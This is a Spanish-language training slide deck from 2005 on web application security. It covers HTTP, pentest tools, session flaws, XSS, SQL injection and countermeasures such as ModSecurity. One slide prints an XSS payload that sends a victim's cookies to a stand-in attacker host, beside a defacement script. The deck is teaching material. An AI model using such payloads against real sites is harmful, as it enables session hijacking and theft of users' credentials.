Seguridad en Aplicaciones Web Leandro Meiners lmeiners@cybsec cybsec.comcom Septiembre de 2005 Buenos Aires - ARGENTINA
Temario Temario Introducción al Protocolo HTTP: Arquitectura, carácterísticas, autenticación, cookies, HTTPS Configuración del Servidor Web Banners y listado de directorios Herramientas del Penetration Testing Web Proxy Local, Scanner de Vulnerabilidades, HTTP Fingerprinting y HTTP Brute Force Técnicas de Intrusión Manejo de Sesión, Cross Site Scripting, OS Commanding, Path Traversal, SQL Injection y Soluciones Contramedidas ModSecurity y URLSCAN 2
Introducción al protocolo HTTP 3
Introducción al Protocolo HTTP Arquitectura Web Física 4
Introducción al Protocolo HTTP Arquitectura Web Lógica 5
Introducción al Protocolo HTTP Características del Protocolo HTTP HTTP/1.0 definido en RFC 1945 Métodos: GET, HEAD, POST Sin Estado: una conexión TCP para cada pedido Dos tipos de mensajes: Request y Response HTTP/1.1 definido en RFC 2616 Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT Encabezado Host : indica el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. Sin Estado: una conexión TCP es persistente por defecto. Encabezado Connection : permite forzar el cierre de la conexión una vez obtenida la respuesta. Dos tipos de mensajes: Request y Response. 6
Introducción al Protocolo HTTP Autenticación HTTP El RFC 2617 define dos métodos de autenticación para el protocolo HTTP: Basic Authentication y Digest Access Authentication. 7
Técnicas de Intrusión Manejo de Sesión: Cookies Mecanismo para el manejo de estado en el protocolo HTTP. Se define en los RFC 2109, y RFC 2965 añade la versión 2. Define el encabezado Set-Cookie (para indicarle al navegador que debe utilizar cookies): Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio; Max-Age=delta-segundos; Path=path; Secure; Version=version Define el encabezado Cookie (para que el navegador le comunique la cookie al sitio Web): Cookie: 1 NAME=nombre; Path=path; Domain=domain 8
Introducción al Protocolo HTTP Protocolo HTTPS Definido en el RFC 2818, utilizando TLS (Transport Layer Security). Utilizando SSL (Secure Socket Layer) es un estándar de facto. El protocolo SSL (Secure Socket Layer) fue creado por Netscape y definido en: http://wp.netscape.com/eng/ssl3/ssl-toc.html. El protocolo TLS 1.0 está estandarizado en el RFC 2246 basado en SSL v.3.0. SSL y TLS proveen: Privacidad. Autenticación del cliente (opcional) y del servidor (mediante certificados digitales). Integridad. 9
Configuración del servidor Web 10
Configuración de Servidores Web Banners Los servidores Web, por defecto, responden su versión en el encabezado Server. [root@prueba:~]# nc httpd.apache.org 80 HEAD / HTTP/1.1 Host: httpd.apache.org Connection: close HTTP/1.1 200 OK Date: Tue, 31 May 2005 14:21:09 GMT Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7a DAV/2 SVN/1.2.0-dev Last-Modified: Wed, 11 May 2005 23:31:37 GMT ETag: "d40136-1f7f-3f6dd12fe6840"... 11
Configuración de Servidores Web Directory Indexing Listado de Directorios Los servidores Web, permiten listar el contenido de un directorio que no tiene un archivo de índice. 12
Herramientas de Penetration Testing Web 13
Herramientas de Penetration Testing Web Proxy Local: Paros Un proxy local permite interceptar los pedidos del navegador y modificarlos. (www.parosproxy.org) 14
Herramientas de Penetration Testing Web Scanner de Vulnerabilidades: Nikto Un Scanner de vulnerabilidades analiza el servidor verificando problemas comunes de configuración, versiones desactualizadas o vulnerables, y problemas de seguridad de distintos servidores y aplicaciones Web. (http:// http://www.cirt.net/code/nikto.shtml) 15
Herramientas de Penetration Testing Web HTTP Fingerprinting: httprint Una herramienta de fingerprinting intenta identificar la versión del servicio sin utilizar el banner del servicio (ya que el mismo puede ser modificado). En el caso particular de HTTP nos permite identificar la versión del servidor Web. (www.net-square.com/httprint/) 16
Herramientas de Penetration Testing Web HTTP Brute Forcing: BRUTUS Una herramienta de bruteforcing de HTTP permite realizar ataques de fuerza bruta sobre los métodos de autenticación HTTP y/o formularios Web de autenticación. (www.hoobie.net/brutus/) 17
Técnicas de Intrusión 18
Técnicas de Intrusión Escalación de Privilegios y Manejo de Sesión Session Prediction: Las aplicaciones vulnerables generan credenciales de autenticación predecibles; permitiendo deducir las credenciales de un usuario autenticado o las que van a ser asignadas al próximo usuario que se autentique. Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial. Session Fixation: Las aplicaciones vulnerables permiten fijar la credencial de autenticación que utilizará el usuario; permitiendo realizar ataques de session hijaking (robo de sesión). Ejemplo: La aplicación toma el identificador de sesión como parámetro, y si, previo a la autenticación, se le pasa un identificador la aplicación lo utiliza para el usuario una vez que se autentique. Session Expiration: Las aplicaciones vulnerables permiten utilizar credenciales de autenticación viejas. 19
Técnicas de Intrusión Cross-Site Scripting Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una página Web que se ejecuta cuando la página es accedida por un usuario. 20
Técnicas de Intrusión Cross-Site Scripting: Qué se puede hacer? Robo de Credenciales: <script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?' +document.cookie</script> El script anterior envía las cookies de quién lo ejecute. Defacement de la página Web: <script>document.write("<br><h1><font color=red>defacement de la página Web.</br></font></h1></html>");</script> El script anterior modifica la página Web para que aparezca la cadena Defacement de la página Web. En resumen... TODO lo que se pueda hacer con Javascript! 21
Técnicas de Intrusión Cross-Site Scripting y Phishing Ejemplo: La URL es la del sitio, sin embargo se visualiza otro sitio a través de una vulnerabilidad de XSS 22
Técnicas de Intrusión OS Commanding Es una técnica de ataque donde se manipula los parámetros enviados a la aplicación Web para ejecutar comandos del sistema operativo. 23
Técnicas de Intrusión Path Traversal Es una técnica de ataque que fuerza el acceso a archivos ubicados fuera de la raíz del servidor Web. 24
Técnicas de Intrusión SQL Injection Es una técnica cuyo objetivo es el de inyectar consultas SQL arbitrarias en páginas vulnerables que interactúan con una Base de Datos, logrando de esta forma obtener, modificar y/o eliminar información sensible. Atacando ciertos motores de Bases de Datos es posible, también, lograr la ejecución de comandos del Sistema Operativo. 25
Técnicas de Intrusión Problemática Común? Todas las técnicas mencionadas explotan el mismo problema: diferencias semántica (en la interpretación de metacaracteres) entre la aplicación y Navegador Web en el caso de Cross Site Scripting (XSS) Intérprete de comandos del Sistema Operativo en OS Commanding Sistema Operativo en Path Traversal Base de Datos en SQL Injection Qué diferencia semántica? XSS: El texto inyectado es interpretado como un script por el Navegador OS Commanding: Ciertos caracteres son interpretados por el intérprete de comandos Path Traversal:.. para el S.O. tiene un significado especial: directorio padre SQL Inyection: Las palabras claves de SQL son interpretadas por la base de datos. Por ende, la solución es común 26
Técnicas de Intrusión Soluciones VALIDAR EL INPUT y el OUTPUT Limitar longitud y tipo de los parámetros White-List Approach vs Black-List Approach Escapear caracteres especiales No mostrar mensajes de error Firewall? No nos protege: todos los ataques mencionados ocurren a través del puerto del Web Server (autorizado). IDS/IPS? Nos puede proteger: permite rechazar patrones de ataques. 27
Técnicas de Intrusión Validación de Input: En el cliente vs. En el servidor CLIENTE Libera al servidor del procesamiento. Más rápida para el cliente (no se realiza el pedido). SERVIDOR El servidor realiza el procesamiento. Más lenta para el cliente (se realiza el pedido y se espera la respuesta con el error). Es evidente que conviene filtrar en el cliente detectando de forma temprana los errores, por ende optimizando tiempos y recursos... Entonces... Por qué se debe filtrar en el servidor? 28
Técnicas de Intrusión... Se acuerdan del Paros?... TODA validación del lado del cliente se puede evadir 29
Técnicas de Intrusión Los Web Services son más seguros? Una vez que se conoce la interfaz de comunicación con el Web Service, se puede intentar: SQL Injection XSS Path traversal OS Commanding Buffer Overflows Por qué? Lo único que cambia es el método de comunicación, por lo tanto, desde el punto de vista de seguridad, pueden tener las mismas vulnerabilidades. 30
Contramedidas 31
Contramedidas: Apache ModSecurity Módulo para el servidor Web Apache. Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos. Las acciones permitidas son: Logear el pedido Rechazar el pedido Redireccioner el pedido Dejar pasar el pedido (www.modseurity.org) 32
Contramedidas: IIS IISLOCKDOWN Deshabilita servicios inseguros. Elimina directorios virtuales instalados por defecto. No permite la escritura en directorios Web con permisos del usuario Web. InstalaURLScan. URLScan Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos. Determina cómo responde el Servidor. 33
Preguntas? 34